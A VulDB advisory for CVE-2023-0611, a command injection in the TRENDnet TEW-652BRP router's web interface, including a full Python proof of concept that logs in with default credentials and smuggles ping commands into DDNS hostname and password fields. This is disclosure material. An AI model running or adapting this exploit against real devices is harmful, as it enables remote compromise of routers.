TRENDnet TEW-652BRP 3.04B01 Web Management Interface get_set.ccp command injection

Summaryinfo

A vulnerability identified as critical has been detected in TRENDnet TEW-652BRP 3.04B01. Affected by this issue is some unknown functionality of the file get_set.ccp of the component Web Management Interface. The manipulation leads to command injection. This vulnerability is referenced as CVE-2023-0611. Remote exploitation of the attack is possible. Furthermore, an exploit is available.

Detailsinfo

A vulnerability, which was classified as critical, has been found in TRENDnet TEW-652BRP 3.04B01. This issue affects some unknown functionality of the file get_set.ccp of the component Web Management Interface. The manipulation with an unknown input leads to a command injection vulnerability. Using CWE to declare the problem leads to CWE-77. The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Impacted is confidentiality, integrity, and availability.

The weakness was published 02/01/2023. The identification of this vulnerability is CVE-2023-0611. Technical details as well as a public exploit are known. The attack technique deployed by this issue is T1202 according to MITRE ATT&CK.

A public exploit has been developed in Python. The exploit is available at vuldb.com. It is declared as proof-of-concept. The code used by the exploit is:

import requests,socket
import re
import time
from urllib.parse import urlencode

username = 'admin'
password = 'admin'
device_web_ip = '192.168.10.1'
ping_target_ip = '192.168.10.2'

headers = {'Host': '{}'.format(device_web_ip), 
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 
'Accept-Language': 'en-US,en;q=0.5', 
'Accept-Encoding': 'gzip, deflate', 
'Content-Type': 'application/x-www-form-urlencoded', 
'Origin': 'http://{}'.format(device_web_ip), 
'Connection': 'keep-alive', 
'Referer': 'http://{}/ping_test.htm'.format(device_web_ip), 
'Upgrade-Insecure-Requests': '1'}

login_params = 'html_response_page=login_fail.htm&login_name=&username={0}&password={1}&curr_language=0&login_n={0}&login_pass={1}&lang_select=0&login=Login'.format(username,password)
login_url = 'http://{}/login.ccp'.format(device_web_ip)
r = requests.post(url=login_url, data=login_params, headers=headers, timeout=0.2)
if r is None or r.status_code != 200:
  print('Login wrong, please retry!')
  exit()

params = {
'ccp_act': 'set', 
'ccpSubEvent': 'CCP_SUB_DDNS', 
'nextPage': 'ddns.htm', 
'ddnsCfg_DDNSEnable_1.1.0.0.0': 1, 
'ddnsCfg_DDNSServer_1.1.0.0.0': 'dynupdate.no-ip.com', 
'ddnsCfg_HostName_1.1.0.0.0': ';ping -c 1 {};'.format(ping_target_ip), 
'ddnsCfg_Username_1.1.0.0.0': 'admin', 
'ddnsCfg_Password_1.1.0.0.0': '|ping -c 1 {}'.format(ping_target_ip), 
'ddnsCfg_Timeout_1.1.0.0.0': ''
}
method = 'POST'
url = 'http://{}/get_set.ccp'.format(device_web_ip)

try:
  r = requests.request(method=method,url=url,headers=headers,data=params,verify=False,timeout=0.2)
except Exception as e:
  pass

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Be aware that VulDB is the high quality source for vulnerability data.

Productinfo

Vendor

• TRENDnet

Name

• TEW-652BRP

Version

• 3.04B01

License

• commercial

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Submitinfo

Accepted

• Submit #77380: Command injection on TRENDnet router TEW-652BRP(2) (by leetsun)

Be aware that VulDB is the high quality source for vulnerability data.

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